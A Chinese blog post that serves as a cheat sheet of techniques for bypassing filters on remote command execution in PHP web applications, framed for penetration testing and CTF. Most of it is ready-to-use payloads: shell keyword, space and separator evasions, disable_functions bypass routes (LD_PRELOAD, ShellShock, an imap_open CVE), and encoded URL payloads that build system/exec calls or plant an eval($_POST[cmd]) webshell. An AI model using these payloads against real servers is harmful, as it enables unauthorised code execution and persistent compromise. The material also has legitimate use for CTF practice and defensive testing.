干货分享 | RCE常见的Bypass思路
一颗小胡椒2022-08-10 07:21:31
在渗透或者CTF中,总会有特殊函数被过滤,如'ls、cat、tac'。
防火墙将这些函数加入黑名单,我们需要找一些方法来代替,用fuzz给他们替换,就出现了BYpass思路。
这里总结了RCE常见的Bypass思路。
学习就是先走一回别人的老路,知识点到量才可以开创自己的新路。
一、RCE漏洞
远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
原理:服务器没有对执行命令的函数进行过滤,导致命令被执行。
二、常见的命令执行函数
PHP代码执行函数
eval() assert() preg_replace() create_function() call_user_func() file_get_contents():将整个文件读入一个字符串 readfile():读取文件并写入到输出缓冲 scandir():列出指定路径中的文件和目录 direname():给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名 getcwd():取得当前工作目录 chdir($directory):将 PHP 的当前目录改为 directory get_defined_vars():获取一个环境变量的值 phpversion():获取当前的PHP版本 chr():返回指定的字符 rand():产生一个随机整数 time():返回当前的 Unix 时间戳 localtime():取得本地时间 localtime(time()) 返回一个数组,Array [0] 为一个 0~60 之间的数字 hex2bin():转换十六进制字符串为二进制字符串 ceil():进一法取整 sinh():双曲正弦 cosh():双曲余弦 tan():正切 floor():舍去法取整 sqrt():平方根 crypt():单向字符串散列hebrevc:将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符 ord:返回字符串的第一个字符的 ASCII 码
命令执行函数
eval()、system()、shell_exec()、popen()、proc_popen()、passthru()、pcntl_exec()
三、绕过方式
过滤关键字,如cat、more
1.替换法
使用同意思字符串代替
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 sort:可以查看
2.进行转义
cat flag ->ca\t fl\ag cat flag -> ca"t flag cat flag -> ca't flag
3.进行拼接
a=fl;b=ag;cat$IFS$a$b
4.空变量$*和$@,$x,${x}绕过
5.反引号绕过
`command`
6.Base64编码绕过
7.RE绕过
过滤命令执行函数,如system
1.借助其他的函数
echo system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() highlight_file() 反引号 同shell_exec()
2.URL编码绕过
base64 hex oct
3.内敛绕过
echo `ls`; echo $(ls); ?><?=`ls`; ?><?=$(ls);
过滤文件读取
绕过
curl file:///flag strings flag uniq -c flag bash -v flag rev flag
过滤空格
<> (cat<>flag) %20(space) %09(tab) (cat%09flag.php) $IFS$9 ${IFS} $IFS (cat,flag)
过滤目录分隔符
1.多管道命令绕过
127.0.0.1||cat%20flag.php
过滤分隔符
; //分号 | //执行右边命令 || //执行前面命令 & //都执行
IP进制绕过
ip地址过滤可将IP地址转化为数字IP地址
IP地址用“点分十进制”表示,用“.”分成4部分;数字地址是一串用“十进制”表示的数字 比如:百度的IP地址“39.156.69.79”转换成数字地址就是“664552783”。在浏览器中输入664552783就可以访问百度网站 转化网址:http://www.msxindl.com/tools/ip/ip_num.asp
四、一些骚操作
RCE进行无数字字母绕过
echo urlencode(~'phpinfo').'<br />'; //得到%8F%97%8F%96%91%99%90 echo urlencode(~'assert').'<br />'; //得到%9E%8C%8C%9A%8D%8B //assert(); echo urlencode(~'(eval($_POST[cmd]))'); //得到%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6 ?> ?code=(~%8F%97%8F%96%91%99%90)(); //列出phpinfo ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6); //上传一句话马
disable_function绕过总结
常规绕过:exec,shell_exec,system,passthru,popen,proc_open 利用环境变量LD_PRELOAD绕过(★):mail,imap_mail,error_log,mb_send_mail 利用pcntl_exec绕过利用imap_open函数任意命令执行(CVE-2018-19518) 利用系统组件window com绕过利用Apache+mod_cgi+.htaccess绕过 利用ImageMagick漏洞绕过利用PHP7.4的FFI绕过 利用 ShellShock绕过(CVE-2014-6271) 蚁剑插件
'数学'RCE
1.利用数学函数来运算得到函数名和命令,使用动态函数来执行命令
index.php?c=base_convert('37907361743',10,36)dechex('1598506324');($$pi){pi}(($$pi){abs})&pi=system&abs=<command> hex2bin(_GET) -> base_convert('37907361743',10,36)dechex('1598506324'); dechex("1598506324")->5f474554 ($$pi){pi}(($$pi){abs})&pi=system&abs=<command> -> ($_GET){pi}($_GET){abs} //{}可以代替[]
2.拼凑出getallheaders利用HeaderRCE
getallheaders — 获取全部 HTTP 请求头信息
/index.php?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
在HTTP请求的Header中直接添加命令即可
base_convert(696468,10,36) => "exec" $pi(8768397090111664438,10,30) => "getallheaders" exec(getallheaders(){1}) //操作xx和yy,中间用逗号隔开,echo都能输出 echo xx,yy
3.拼凑出exec、system等命令执行函数直接RCE
/index.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898))) //分析:exec('hex2bin(dechex(109270211257898))') => exec('cat f*') /index.php?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi)) //分析:system('cat'.dechex(16)^asinh^pi) => system('cat *')
4.异或
<?php $payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; for($k=1;$k<=sizeof($payload);$k++){ for($i = 0;$i < 9; $i++){ for($j = 0;$j <=9;$j++){ $exp = $payload[$k] ^ $i.$j; echo($payload[$k]."^$i$j"."==>$exp"); echo "<br />"; } } }
/index.php?c=$pi=(is_nan^(6).(4)).(rand^(7).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /f*
参考
https://cloud.tencent.com/developer/article/1599149
https://xz.aliyun.com/t/8354
https://blog.csdn.net/xiaofengdada/article/details/122614693
声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.

一颗小胡椒
暂无描述